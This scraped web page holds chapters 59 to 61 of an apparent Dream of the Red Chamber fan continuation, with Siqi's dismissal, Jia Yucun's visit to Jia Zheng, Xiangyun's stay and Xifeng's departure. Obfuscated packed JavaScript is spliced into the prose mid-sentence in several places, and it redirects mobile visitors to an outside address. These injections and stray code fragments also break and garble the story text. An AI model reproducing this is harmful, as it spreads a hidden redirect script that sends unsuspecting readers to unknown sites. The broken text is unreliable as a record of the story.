迎春摇了摇头,轻声道“为了这事闹成这样,我已经很过意不去了,哪里再要麻烦太太呢?” “你这孩子,让我怎么说你呢?”王夫人心疼地将迎春半搂在怀里,安慰道“你是主子,自然要拿出主子的样子来,怎么让她们欺负到你头上了?你这样我又怎么放心呢?”说罢,又摸了摸迎春的脖颈。 迎春勉强笑了笑“我生来就是这样性子,大约也不会再变了,只是辛苦太太为我费心了···” “二姐姐,你一直这样逆来顺受,让太太怎么能不为你操心呢?”探春也着急道。 59.护丫鬟宝玉又背锅 “好了,不要难为你姐姐了。”王夫人轻轻拍了拍迎春脊背,对探春说道。 “你不要因为这事心里有负担,待她走了,我再挑个好的丫鬟给你。”王夫人柔声安慰迎春。迎春便点头应下了。 探春一直送王夫人回到屋子,她还关心着司棋的事,便问道“母亲想怎么处理司棋的事情?” 王夫人对探春也不遮掩,直言道“你还小,本来不应该掺和这种事。我方才那样做也是考虑了大太太和迎春的脸面。明天随便指个人,就说司棋是帮朋友做的,再将她打发出去也就罢了。毕竟闹大了面上都不好看,这事可大可小,还是不要闹大了。” “咱们家的下人都精明得很,只怕随便指个人,他们也不相信,到时又有流言了。”探春说罢,见王夫人正思考,便补充道。 “司棋那样表现,也是模棱两可。不如就说她是为二哥哥做的鞋袜,下人们听了也信服。我们姐妹间,经常互相帮着做针线,这也是常事,连老太太都知道的,其他人更不敢议论这事了。” 王夫人想了想,便笑道“你为了保全迎春的脸面,连自己哥哥都拿来顶罪了吗?”说罢,又在探春额头点了点。 探春也知道王夫人是与自己开玩笑,便道“阖府谁不知道二哥哥这样脾性呢?他若是知道自己可以帮到二姐姐和司棋,肯定一百个愿意!” 王夫人也点点头,说道“这也是个好办法,一则你二姐姐面上过得去,大太太也不会责骂她。二则也将这事轻巧地处理了,不会再闹起什么闲话。” 探春拍手笑道“母亲英明果断,说得太有道理了!”说罢又靠在王夫人怀里,不住撒娇。 “我怎么感觉你像是在说反话?”王夫人笑道“是不是和你父亲学的,故意逗你老娘来了!” 探春抿嘴一笑,又道“也许是耳濡目染吧!” 王夫人听了,轻轻拍了一下探春脑袋,说道“玩笑归玩笑,只是司棋那丫头却留不得了。咱们这样人家最是看重名节。你年纪虽小,本不该与你说这个。只是如今你管家了,难免以后不遇到什么事,提前告诉你了,你也能早早留心。” 探春便很认真地点点头,说道“我也知道其中利害关系的。” 王夫人摸了摸探春脸颊,又笑说“你自小就聪慧懂事,如今大了做事又更精明周到,真是一点心都不让我操的···” 顿了顿叹了口气,又道“只是可怜你二姐姐,这样的性子,以后若是出了阁,怕更艰难啊!”王夫人说罢,不免担忧迎春的未来。 探春便道“母亲不要担心,二姐姐那边我和姐妹们会劝劝她的。”便也抚摸着王夫人脊背,想要安慰母亲。 王夫人又想到贾政先前说的不想让姑娘们嫁人的话,此时细想想,她自己也是难过。 好好的姑娘们,无忧无虑长大,都是父母长辈千娇万宠的,待嫁了人又哪有一天顺心的日子好过呢?而迎春,显然是王夫人最先担心的。 想到这里,王夫人又摸摸探春脸颊,说道“你们平时和二姐姐在一起时,多宽慰她,让她换换性子也好,如今这样的确有些太软弱了。”探春很是乖巧的点头答应了。 探春从王夫人处离开,先去看了看迎春。没想到一进门就看到了宝玉黛玉正和迎春一处坐着说话呢。 “三妹妹来了!”宝玉笑着招呼道。 此时黛玉也问道“和舅妈商量好了吗?” 探春笑了笑,打趣道“你们怎么这么快?” 宝玉笑道“那会儿我们和母亲都在老太太那里,你让侍书过来找母亲,林妹妹就猜到肯定出事了。” “林姐姐好聪明!”探春在黛玉脸颊点了一下。 探春笑罢,又对迎春说道“二姐姐不要担心,太太方才吩咐过了,事情已经压下去了。” 迎春听罢,也惊道“那么大的事,怎么可能这么简单的,你别哄我了···”说罢,自己又叹了口气。 “二姐姐别急,听三妹妹怎么说。”黛玉手抚着迎春脊背,安慰道。 探春道“本来太太很严肃的,后来说为了面上好看,就随便找个理由压下去,再将司棋打发了。只是多亏了一个人帮忙,才能这么顺利解决此事···”话说一半,故意止住,笑看姐妹们。 “不要卖关子了,看二姐姐多着急呢!”宝玉催促道。 黛玉想了想不自觉笑出了声,又故意问道“三妹妹说的那个人是谁呢?” 探春摇头晃脑道“远在天边,近在眼前。”说罢,手指着宝玉。 “我都没有过去,怎么帮忙呢?”宝玉不解便问。 “这个呆子!”黛玉又在宝玉手臂点了点,笑说“三妹妹应该是让司棋谎称是为你做的鞋袜,这不就两边都没事了吗?” 宝玉拍手笑道“这真是个好主意!反正你们的丫鬟平时也都为我做过一些东西,就推说司棋是为我做的,任何人听了都要信的!” “二姐姐这下不用担心了吧!”探春也揽着迎春肩膀,笑说。 “谢谢三妹妹和宝玉帮我。”迎春有些不好意思地笑了笑。 宝玉忽又问道“司棋还能留下吗?” 探春却轻轻摇了摇头“她方才一直不肯解释,我猜应该是有些什么的。所以我也没敢在母亲那里担保,毕竟这事关系重大,若日后传出去了恐怕连父亲都要责怪的。母亲说过几日找个由头,推脱司棋病了或是其他的,将她打发到其他地方。” “没有余地了吗?”宝玉追问道。 “一会儿咱们去向司棋私下问一问,只是我怕···”探春也没说下去。 宝玉又叹道“不过是这样一件小事,却要将她打发出去,离了这里,她又有什么去处呢?怕是要随意配人了···” 黛玉却道“她虽可怜,只是毕竟也做了不妥当的事情。舅妈这样处理正是为了大家着想,你也不要这样说了。” 迎春此时也叹道“各人的命只好各人受着,旁人再是帮忙也顶不了大用处!” “方才太太还让我们宽慰你,姐姐怎么又说这样丧气话?”探春劝道。 迎春便摇摇头,不说话了。 宝玉忽然拍手道“我有个好主意!” “一惊一乍的,直说就是了。”黛玉瞪了宝玉一眼,说道。 宝玉笑说“宝姐姐在扬州的丝织厂不是聘用了许多织娘吗?不如让司棋去宝姐姐那里做事如何?” 黛玉轻轻摇摇头叹道“她应该不会同意的,她的家人都在这里呢。” 探春却说“也许是个好主意也说不定呢?咱们可以先得了宝姐姐同意,再去和司棋说。这样总比被她父母配人要好得多了。” “二姐姐,你觉得呢?”探春又问迎春。 迎春也点了点头,说道“她毕竟服侍我一场,我可以拿钱帮她赎身的。” “就这么办,咱们先去找宝姐姐,再去找司棋!”宝玉道。 她们来到宝钗处,又将事情经过详细说了一遍。说罢,齐齐等着宝钗的反应。 宝钗笑了笑,便道“半日不见,竟然发生了这么多事!你们又要来算计我了?” 探春自然知道这是玩笑话,便道“求宝姐姐帮帮忙吧!”说罢,很是诚恳地看着宝钗。 迎春倒有些不好意思求宝钗,神情有些尴尬。 宝钗看出迎春的为难,也不好再开玩笑,便道“先去看看司棋吧,待看了她我再决定。” 姐妹们都知道宝钗是个周到人,她也不会轻易揽这件麻烦事,几个人又去找了司棋。 司棋倒没有受苦,只是被关在柴房里。她见了这么多小姐突然都来这里,却有些慌张。 探春也没有拐弯抹角,直言道“你的事我们都替你瞒下来了,太太也不会如何罚你,你不用担心了。” 司棋听了,又是下跪又是感激。 探春又问“只是你箱子里的鞋袜是谁的,现在可以明说了吗?” 司棋犹豫了一下,便轻声道“是我姑表兄弟的。” “你可知私相授受这是大忌?”探春又问。 司棋也满脸后悔,说道“我们自小有些情意,他给我鞋袜也是为了平日有个念想···” 探春听了,反倒不好意思问了。 此时宝钗却轻声说道“你们之间可有···?”话说了一半,便看着司棋。司棋听懂了,连忙摇头,解释道“断然不敢的!” 宝钗便没有再问。 宝玉见状,便说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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贾母更是当着众人对探春放权,说道“三小姐的意思就是我的意思,你们这些婆子媳妇们,不要仗着自己有几分脸面,就胡混起来!我们府里最是容不得守夜的人吃酒赌钱的!你们只以为三小姐年纪轻,大奶奶又慈悲,她们管了家你们就要翻了天去!再不要有这种妄想!” 贾母说到生气处又道“我经历的多了,自然容不下这些人!这次一定要将他们都处理了,才能彻底压下这种风气!”鸳鸯见贾母生气,连忙又是搀扶又是抚着脊背为贾母顺气。 王夫人连忙起身说道“老太太不要生气,都是我的过错。”邢夫人也起身恭敬立着。 贾母叹口气坐了下来,说道“家里下人多了,你难免有照看不到的地方,我不怪你。”说罢,示意王夫人和邢夫人坐下。 “以前凤丫头在时,她年纪轻,精神足,便能料理的齐全。如今探春为你帮忙,她虽小,但论才干,也不输给凤丫头。”贾母说到王熙凤,颇有几分怀念,又叹了口气。 “你们两个多为你们太太操操心,我也就没什么担心的了。”贾母又对李纨和探春说道。 “老祖宗,还有我呢!”宝玉见贾母略微消了气,也来凑趣。 贾母将宝玉搂在怀里,笑道“你一个少爷,掺和这些事做什么?” 此时黛玉走到贾母神情,端了果盘,也笑道“老太太忘了我,我也可以帮忙做点事的!” 贾母拿了一颗樱桃吃了,又揽过黛玉,笑道“黛玉也是好的,你们这些孩子都是好的!”说罢,又笑了起来。 此时王夫人与邢夫人却相视一笑,随后都坐下了。贾母生气,她们两个做儿媳的都要提心吊胆。 “老太太又消气了。”王夫人在邢夫人耳畔说道。邢夫人便笑着点点头。 王夫人一贯看待邢夫人与大房的下人,心里并无二意。又因为她自己是弟媳,因此平时也很是尊重邢夫人这位大嫂的意见。 邢夫人和贾赦虽然心里不满贾母对二房的偏爱,只是明面上也不能过火,大家维持表面的和气就很好了。之前邢夫人对王熙凤却颇为不满,认为她风头又盛又得贾母宠爱,很是不以为意。 况且王熙凤本是大房的媳妇,却在二房管家,人又极张扬,邢夫人就很不满意。现如今,王熙凤不在了,二房又只是几个姑娘打理家事,邢夫人便没那么多怨气了。 邢夫人在家里事情上说不上话,贾赦对银钱又把控得很严,因此她也觉得自己存在感很低。 邢夫人喜欢钱和权,喜欢众星捧月,被重视的感觉。她得不到很多钱,只能在地位比她低的人面前找回一点体面。幸好贾政王夫人和子孙辈对邢夫人面上都很恭敬,邢夫人才感觉自己的腰杆可以挺得直一些。 60.绿树阴浓夏日长 又是一年盛夏,到中午时只闻得蝉鸣声声,又蒸腾起一阵阵的热浪。 荣府的主子们都在歇午觉,下人们也乐得偷闲,或在廊下或在花园树荫下乘凉,时间仿佛停滞在这一刻。 贾政难得偷闲一日,只想在家里待着。中午太热也没什么事情好做的,便与王夫人一同歇午觉。 夫妻二人歇了半个时辰,前后醒来了。贾政还不想起床,就耍赖拉着王夫人继续躺着。 贾政拿着扇子一下下扇着,又和王夫人说些家常话。 此时,外面守着的锦屏忽然小声道“老爷太太,书文有事要报。” “问他什么事情。”贾政吩咐道。 锦屏很快说道“贾雨村大人前来拜见,正在外书房等候。” 贾政听了,说了句“知道了,我就过来。”说罢,仍然躺着不起来。 王夫人轻轻晃了晃贾政手臂,笑道“客人来了,老爷还不去会吗?” “不想见他,太麻烦,肯定没什么好事。”贾政闭着眼睛,轻轻环着王夫人。 王夫人想要起身,贾政却抱紧了不松手,又道“夫人起来做什么?外面又热,还不如躺着凉快。” “躺得久了反而不舒服。”王夫人轻笑道。 贾政忽然睁开眼睛,捏了捏夫人的脸颊,笑道“你这话分明是暗示我该起来了!”说罢,又哼了一声。 “快去办正事要紧···”王夫人拿出从前哄宝玉的架势,又柔声道“晚饭给老爷准备几样酸甜解暑的点心如何?” 贾政笑着点了点头,又道“再晾他一会儿无妨的,反正也不是什么好人。” 王夫人无奈,只好又躺下。 “迎春怎么样了?”贾政又问道。 “老太太前日将自己身边的晴雯给她用了,老太太说晴雯又机灵又聪明,正好与迎春的性子互补了。我看她们两个相处得也不错,迎春确实能活泼一些。”王夫人说到这里,也轻轻笑了笑。 贾政便点点头,说道“迎春天生那样的性格,也辛苦夫人操心了。” 王夫人又道“不知道老爷肚子里装了多少好话,怎么如何都说不尽呢?” “因为都是肺腑之言啊!”贾政诚恳道。王夫人反而红了脸,低了头,不看贾政了。 “我要起来了,外面热,你起来最好在屋里待着,出去万一中暑了,我会担心的。”贾政抱着夫人,又摩挲她脸颊,细细叮嘱着。 王夫人点了点头。 贾政又道“上午我吩咐丫鬟提前冰好了一些西瓜葡萄和乌梅茶,你一会儿和孩子们一起吃吧。” “一会儿我吩咐人送一些到书房里。”王夫人笑道。 贾政点点头,还想说点什么,却也无话了,就在夫人脸颊轻啄了一下,这才干净利落起床穿衣,去见贾雨村了。 贾雨村本来被贾政举荐去做凉州知府,也已快三年了,前些日子被召回京城,如今在吏部任职。 贾政本来是存了捉弄他的意思的,凉州那时内有贼寇侵扰,突厥那边也不太安分,让他去做凉州知府本没想有好结果的。 只是贾雨村运气却很好,他也的确很有能力,一上任,就连办几件大事。虽然为人喜好钻营,心术不正,但却意外适合官场。贾雨村很快就调回了京城。 贾政在京城又见了贾雨村后,心里也实在后悔,只是不好明面上拒绝贾雨村的示好。 贾政因看到贾雨村近日和忠顺王府交好,便想借此对忠顺王多几分了解。因而与贾雨村遗址维持着表面上的亲切来往。 “让雨村久等了!方才有要事绊住了,恕我失礼了!”贾政一见到贾雨村,就摆出热情无比的笑容。 贾雨村正是春风得意之时,如今面对贾政也没有了初时的紧张。便拱手笑道“我也才刚到,大人无需挂怀。” 贾政坐了下来,便端了茶喝了一口,随意和他寒暄了几句,只等贾雨村说明来意。 “不知大人对西北战事了解多少呢?”贾雨村忽然问道。 贾政心头一紧,暗想:果然是为这个事来的! 只是他面上不显,反而笑道“我前几年都在扬州,对西北的事了解不多,只听说仗打了一年多,胜多败少,圣上也很满意!” 贾雨村故作神秘地摇了摇头,说道“大人有所不知啊!”随之叹了一口气,贾政静等他下文。 贾雨村压低了声音,说道“其实有人谎报了···” “这等大事如何敢谎报呢?不怕杀头大罪吗?”贾政很配合,疑惑问道。 贾雨村露出一点笑容,又道“这次拖延的也够久了,听说后来钱粮都不趁手,将军也无法,只好找了些突厥人演戏,谎称打胜几次,圣上一高兴,自然要犒赏,不就有钱了吗?” 贾政故意惊讶道“这样胆大包天吗!” 贾雨村略带鄙夷地笑了笑,又道“大人自然是端正君子,听到这种事难免惊讶。” 顿了顿,又道“大人没有亲身经历过战场,自然不知道其中残酷血腥。” 贾政却叹道“可叹我家是武荫世家,却再没有子孙上得了沙场!” “大人莫要因此难过,我今日来正为了这事和您商议!”贾雨村劝道。 “雨村有何事不妨直言。”贾政说道。 贾雨村直直看着贾政脸庞,压低声音道“西北的战事就快结束了,只是那里还需要人来善后,大人可有意···” “不知雨村是为谁来说这番话呢?”贾政故意问道。 “自然是忠顺王爷。”贾雨村故作神秘道“圣上将这事交给了王爷料理,王爷需要几个得力干将,我便举荐了大人!” 贾政思考片刻,才犹豫道“我才疏学浅,又从未经历过这样事,不如雨村再去另找贤才吧!” 贾雨村却道“大人有所担心也是正常。我一得到这个好消息就速来贾府,也是为了回报大人当年举荐之恩!” 又补充道“只是这差事属实简单易做,又很容易被圣上留心。大人若这样放弃,的确有几分可惜···”说罢还叹了口气。 贾政想了想,又道“多谢雨村好心!只是我从扬州回来也没多久,老太太身体也不太好,我还是想先在母亲跟前尽孝,仕途进取之事,也不急于片刻。” 贾雨村轻轻摇了摇头,叹道“因为现在掌握西北军权的将军不听从王爷的命令,而且在火器营造上又出了几次纰漏,所以王爷才有意想找人代他主管西北的军事,真是可惜!” 贾雨村说罢,又好像是突然意识到自己一时失言,突然转头看向贾政,拱手笑道“等之后再有好差事,我还是会及时告诉大人的。” 贾政笑着表示感谢,随后二人又寒暄几句,贾雨村就告辞离开了。 等贾雨村走后,贾政仍在书房细细思考着方才贾雨村说的话。他不相信贾雨村的好心,更何况这事与忠顺王府关系密切,就更让贾政多想。 他最担心的就是忠顺王爷设了圈套,就像举荐他去扬州一样。再者,一牵扯到战争,凶险更甚于水务。 如果忠顺王爷铁了心要让贾政去西北善后,今日私下里的拒绝也没有用处。 而贾雨村刻意提到的军械问题,不知又会牵扯到什么? 贾政想到这里,深深叹了口气。只觉得步步艰难,一事刚完又来一件更难办的。贾府在朝中有这样一个位高权重的敌人,真是让人日夜悬心。 过了十来天,朝堂传来消息,圣上派了兵部侍郎钱玄武和保龄侯史鼐去西北道善后。史鼐正是湘云的叔叔。 贾母知道后也很高兴,又让人前去送礼贺喜。只有贾政却难见欢颜。 忠顺王爷的手段如此迅捷,只怕史鼐去了那边,要受牵连了。贾政想到这里,也不能坐视不管,便与王夫人一同前去贺喜。 贾政一见史鼐,便觉得这人是个平和的人。又试探了几句,才发现他并无危机意识,只当此行是圣上隆恩,并不以为其中有什么陷阱。 贾政也没有实际证据,只好又恳切叮嘱了几句,提醒他叶榆城地处边塞,需要多多警惕,防备再有外敌入侵之类的。 说了这些,贾政仍不放心,又压低声音道“听说西北道那边军械库的火器有问题,你到了之后多多留心,不要被有心人陷害了,到时就百口莫辩了。” 史鼐听后也露出几分严肃,很认真道了谢。贾政便不好再多说。 贾政想了想,又道“老太太向来喜爱湘云这孩子,不如我带她过去住着,也可以为嫂夫人省一些心思。”史鼐自无不可,很高兴地答应了。 当日,王夫人和贾政便又带着湘云回了贾府,只是这次住的时间更久。 湘云兼有黛玉和探春的性子,诗才不弱于黛玉,开朗外向类似探春。贾政和王夫人都很喜欢湘云。 此时贾政王夫人正在回去的马车上,湘云喜欢热闹,便也一车坐着。 王夫人将湘云半揽着,与她说闲话。又看到湘云里外穿了两三件衣服,便问道“热不热,不如将外面的大衣裳脱了?” 湘云笑道“大热天的,本来我不爱穿,只是二婶婶说我去走亲戚,便让我穿上。”湘云边说笑,便将外头的一件厚衣裳脱了,又靠在王夫人身上。 “是不是天热,累着了?”贾政也柔声问道。 湘云也不起身,说道“太太疼我,我就喜欢窝在太太怀里,和在姨妈怀里一样的。”还在王夫人怀里拱了拱,王夫人又抱紧她,还拿一只手护着湘云的头,怕她磕到了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15082036|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贾政又笑了笑“湘云年纪还小,夫人平日也多关心关心这孩子。” 湘云笑道“太太待我和姐姐妹妹都是一样好呢!”这是要为王夫人说话了。 “夫人,看她多护着你呢!”贾政笑着摇了摇头,也觉得湘云是个招人疼的孩子。 “怎么手指尖有几个针眼呢?”王夫人摸到了湘云手指,便心疼地问道。 湘云害羞地笑了笑,又将手指缩进了袖子,才解释道“在家里做针线活儿时,不小心扎到了,只是我不怕疼的!太太不用担心我。” 王夫人被如此懂事的湘云说得心里难过,不禁红了眼圈,柔声道“你看,小小年纪,手上都有两个茧子了···” “太太不要难过,咱们好不容易聚在一处,开开心心的不好吗?”湘云反而关切地抚着王夫人手臂安慰,又笑着说道。 “虽如此说,只是你的日子未免太不像是大家小姐了。”王夫人叹道。 王夫人说罢又搂紧了湘云,像哄小孩子睡觉那样一下下摩挲湘云的脊背,柔声道“到了府里就和姐妹们开开心心玩,若有人欺负你,或者丫鬟婆子们待你不好,你就直接告诉我,我为你出气,不要憋在心里。” 湘云笑了笑,说道“太太和姨妈是姐妹,都一样的仁善慈悲,宝姐姐和探春也是一样待我好呢!” “先睡一会儿,回去了再和姐妹们玩去。”王夫人又道,湘云便点了点头。 不一会儿湘云便在王夫人怀里睡着了。 贾政见状,轻声问道“夫人这样累不累?”王夫人轻笑着摇摇头,仍紧抱着湘云。贾政笑了笑,拿了扇子,为王夫人和湘云扇风。 待回了贾府,太阳西斜,正是凉爽的时候。湘云和姐妹们数日不见,自是万分想念,一起吃晚饭,又齐齐聚在探春屋里玩笑。 “三妹妹,教教我这是什么?”湘云拿了探春书桌上一张写满数字的纸,来问探春。 探春见了,立刻笑道“这是父亲教的一个游戏,叫做数独,很好玩,我来教你!”说罢,便和湘云一同在坐在桌前写写画画了起来。 黛玉和宝钗坐在炕桌前,一个读书一个看账本,宝玉在贾母处没有过来。 黛玉见宝钗神情专注,便想逗她。 她捡起了桌上掉落的几片玫瑰花瓣,洒到了宝钗面前的账本上,笑道“宝姐姐快看!下花瓣雨了!” 宝钗笑了笑,故意不理她。 黛玉悠悠说道“是非不入松风耳,花落花开只读书。” 宝钗听了抬头看了黛玉一眼,见她表情顽皮,又在她鼻尖点了点,笑道“颦儿真是伶牙俐齿,连打趣人的话都与旁人不同。” 黛玉没躲开,有些懊恼,故意道“宝姐姐总是这样欺负我,连鼻子都要被你戳的更尖了!” “有何不好呢?”宝钗笑问。 “怕读书的时候离得太近,将纸张都戳破了!”黛玉说罢,笑吟吟看宝钗和账本。宝钗立刻反应过来黛玉又在打趣她了。 宝钗合起账本,说道“我不看了,专心陪你读书好不好呢?” “花瓣还在里面呢。”黛玉提醒道。 “无事,明日再看时,连账本都浸满玫瑰香味了。”宝钗笑道。说罢又拿过黛玉手里的书,问道“读到哪里了?” “宝姐姐猜猜看?”黛玉故意不说。 “我不要猜。你既然不说,我随意翻到哪里就去读,也不管你了。”宝钗又道。 黛玉委屈道“这可是我的书···” 宝钗刚要开口,又被黛玉将书抢了过去,她还很利索的起身下了炕。 黛玉手里拿着书,炫耀道“这下你抢不到了!” “怎么站到地上说话呢?”王夫人进门就看到黛玉没穿鞋站在地上。 黛玉有些不好意思,忙穿上了鞋,又挽着王夫人坐下来,这才说道“这么晚了舅母有事吗?” “哪里晚了,咱们不还在三妹妹这里玩闹吗?”宝钗笑说。只是黛玉也不理她。 王夫人让锦屏拿了几件姑娘穿的轻薄衣裳出来,说道“前些日子给你们裁衣服,偏衣服做好了湘云又回了家去,今日我想起这事,就拿过来给她了。” 湘云听了,笑着走到王夫人跟前,说道“太太真疼我呢!” 王夫人就将湘云半揽着,说道“不如今晚去我屋里安歇吧,咱们娘俩儿说些体己话。”湘云笑着点头应下了。 黛玉却道“舅妈偏心!舅妈不疼我了!” 王夫人就也揽过黛玉,笑道“我再也不偏心的,黛玉也一起睡怎么样呢?”黛玉自然满意点点头。 宝钗笑道“三妹妹,只好咱们两个凑在一起了!” 探春却笑道“咱们闹二姐姐去!” 61.沉李浮瓜冰雪凉 王熙凤自从和贾琏和离后,便没有再来过荣国府。后来宝钗找她合伙做生意,王熙凤仔细考量之后并没有着急答应。 她虽然相信宝钗的人品,但是也不会贸然选择自己的生意伙伴。 当日宝钗离开王府后,王熙凤立即派人去了解薛家在京城的生意情况,并使了一些手段,拿到了薛家两个铺子的部分账本。 认真翻阅对比后账本后,王熙凤也不得不佩服宝钗经商的天赋。王熙凤又估量了一番自己的优势和才能后,才下定决心和宝钗合作。随后去信一封,约宝钗见面,二人商讨合作事宜。 在正式合伙做生意前,王熙凤要先回金陵一段时间陪着父母。 只是离开京城前夕,王熙凤颇有几分不舍从前的妯娌姐妹,便让丫鬟带了帖子,捏造了个由头,邀请尤氏来会。 尤氏也着实关心王熙凤近况,便没有和荣府的长辈们说这事,只与贾珍说了。贾珍并不介意,他认为能与王府搞好关系也是好事,就让尤氏去了。 妯娌两个许久不见,却发生了这么多事,连王熙凤这样坚强的人都忍不住红了眼圈。 尤氏更不用提,一见到王熙凤就握住她手臂,说长道短起来。 王熙凤抹了眼泪,笑说“平儿不要忙了,你也过来坐。”平儿端了茶果过来,先为她们倒好了茶,这才坐到了王熙凤旁边。 “我在家时本来很担心你,不免要问问你姑姑,她说你一切都好,我便放了心。只是今日见了你才知道,竟然比先前还要光彩照人了!”尤氏打趣王熙凤道。 王熙凤一笑,又问“不知老太太怎么样了?” 尤氏叹了口气,说道“老太太虽然面上不显,但我听鸳鸯说她私下里也不时念叨着你呢!” 王熙凤便道“也确实对不起老太太了。”说罢也叹了口气。 尤氏便宽慰道“你也不用因为这个操心,现在府里有三姑娘和你大嫂子帮衬着打理家事,老太太和你姑姑也就没什么烦心事了!我看三姑娘比起你也不差什么!” 王熙凤点头笑道“探春是个好的,她与宝钗黛玉在家事上都不比我差。我只是不想让老太太因为我的事难过罢了。” “老太太身边有这许多孙子孙女陪着,也没有什么难过的。”尤氏又宽慰道。 “不说这个了,你在那府里可还好吗?”王熙凤笑问道。 尤氏便道“你还不知道吗?不过就是那样罢了···” 王熙凤叹道“大哥哥还是那样不务正业吗?” 尤氏轻轻摇了摇头,又道“有时候我也真是佩服你的勇气啊···” “大嫂子你也不要难过了,若是日后有什么事,你尽管来找我,咱们之间不要疏远了。”王熙凤劝道。 尤氏忽而笑了,又道“还叫什么嫂子,不如叫声姐姐吧!” 王熙凤抿嘴一笑,点了点尤氏脸颊,喊道“尤姐姐!” “真是个好孩子!”尤氏笑着摸了摸王熙凤的手背。 “过几天我就要陪父母去金陵了。”王熙凤说道。 尤氏便道“我早就料到了,你也不是个安生人,既离开了那府里,肯定是要趁这机会四处玩一玩的。” 王熙凤便笑“姐姐自然很懂我的。”说罢,想了想又道“我这一去也说不好什么时候回来,咱们姐妹只好日后再见了···” 尤氏也没有很难过,拍了拍王熙凤手臂,笑道“你尽管天南海北去吧,总之你时刻都能找到我的。待你回了京城,咱们姐妹自然有相聚的时候!” 王熙凤却有一些不舍,又叮嘱道,“你若是有什么难事,尽管去找太太,或者去找姑妈,她们自然会帮你的,” 尤氏却道“能有什么难事呢?”话音刚落,笑容很快又止住了。 “你心里有苦却无处去说,我这一走你更没有说话的人了···”王熙凤因要与尤氏离别,心里也颇有几分怅然。 以前还在荣府时,她们妯娌两个最是亲密,只因年纪相仿又兴趣相投,处境也是类似。 尤氏站起身来,理了理裙摆,故意笑王熙凤“凤丫头怎么也这样犹犹豫豫起来了呢?” 又挽起王熙凤手臂笑道“不说这个了,你都要走了,咱们姐妹少不得一会儿多喝几杯,就当我为你送行了!” 王熙凤与父母临行前,薛姨妈母女也来相送。薛姨妈为薛蟠带了些东西,嘱咐兄嫂带回金陵。 寒暄了几句,宝钗因有话要说,便与王熙凤避开了别人。 宝钗道“凤姐姐,上次我们提到的丝织厂的事···” 王熙凤笑道“那日你只是提了一嘴,虽没有深入,我却也料到你想让我帮你做这个事。” 宝钗点头笑了笑,“听母亲说,王家以前是专管各国进宫朝贺之事的,而扬州的丝织厂往海外销售布匹的事情却不太顺利,我就想到了姐姐。” 王熙凤点了点宝钗的额头,笑说“只是现在我们家也不管这个事了。” “虽然如此,以前留下来的仆人管事也有许多,想必他们也熟门熟路的,再找来重新做起这桩生意,岂不便利?”宝钗说道。 王熙凤略一思考,便道“你说的在理,等回了金陵,我去求一求父亲,请他帮忙找来几个上了年纪的还知道其中事务的管事。” 宝钗点点头,说道“我已经吩咐了金陵那边的管家薛胜,如今哥哥和他留在金陵打点南边的事务,待你们到了金陵,我便让他去拜访,顺便将丝织厂的事情和姐姐详细说了。” 王熙凤却笑道“你成心不想让我歇几天,刚回了金陵想着悠闲几日呢,你又给我找活干!” 宝钗又道“凤姐姐是个闲不住的人,我想你就算回了金陵,总是要做点正事才好的。这正是我这个妹妹体贴你呢!” “你和黛玉探春她们厮混几年,如今也变得调皮了!”王熙凤又打趣道。 笑罢,王熙凤正色道“你交代的事情我都记住了。既然咱们姐儿俩合伙做事,我自然会上心的。待我都打点好了,就写信告诉你。” 宝钗便点了点头,又道“还要求凤姐姐一件事。” “怎么这么多事儿,没个完了吗?”王熙凤又笑。 宝钗便让丫鬟去叫人,不一会儿莺儿带了个姑娘过来了。待她走近了,王熙凤才认出是司棋,便问道“司棋怎么在这里?” 宝钗也没有过多解释,只是说“司棋生了病,迎春心疼她,便求了姨妈将她放了出来。如今我想让她随你们一起回金陵去,然后让薛家的管事将她带到扬州的丝织厂做活。” 王熙凤自然知道其中另有隐情,但也没有问,说道“小事一桩,一会儿我去吩咐平儿安排她上船。”司棋福了福身子,算是行了礼。 “可还有什么叮嘱的吗?”王熙凤笑问。 宝钗便道“姐妹们都说舍不得你,本来想送你们的,只是也不太方便,就托我和你问好了。” “姐妹们自然有再会的日子,又不是不回来了!”王熙凤笑道。 “姑娘有心事吗?怎么盯着张纸看了这么久?”平儿见王熙凤独自坐着了好一会儿,便端了杯茶过来,又细声问道。 “平儿你坐。”王熙凤拉着平儿坐到了自己对面,笑道“只是心里想着事儿,又发了会儿呆。” 平儿笑了笑,说道“自上了船,姑娘反而性子古怪起来了呢!” 王熙凤摇了摇头,笑道“并不是那样,只是心里有许多事情,却不知如何是好了。” 平儿也没有开口要问,王熙凤却说“以前觉得我能做的事情全是家事,如今离了那里,好像天地都更广阔了!你感觉到了吗?” 平儿笑道“姑娘没有了烦心事,理应如此体会。” “也许是吧。”王熙凤点了点头,又道“你昨日还有些晕船,现在好些了吗?” 平儿轻轻摇了摇头,说道“宝姑娘那日带了一些果脯给我,说是晕了船可以吃一些。我用过一点,果然觉得好多了。” 王熙凤笑道“多亏她想得周到,我却没有想到这事。” “理当是我服侍姑娘,哪里敢让你为我操心了呢!”平儿又道。 王熙凤却在平儿脸颊点了下,笑道“你待我情同姐妹,我以后也要这样的···”平儿听罢笑了笑,也没有接这句话。 因连日天热,贾政见孩子们无聊,想出一个绝好的主意。此时孩子们正在王夫人处玩闹,薛姨妈也在。 “我带你们去京郊避暑怎么样?”贾政忽然说道。 宝玉最先反应,他拍手笑道“这好极了!还是去之前去过的那个田庄吗?” 贾政笑着摇摇头,并没回答。他又看其他人的反应,自然都是欢呼雀跃,再没有不愿意的。贾政就看着王夫人,问道“夫人意下如何?” “不知道老太太会不会嫌路途遥远,不想去呢?”王夫人说道。 贾政想了想,便说“我现在就去问问。” 宝玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 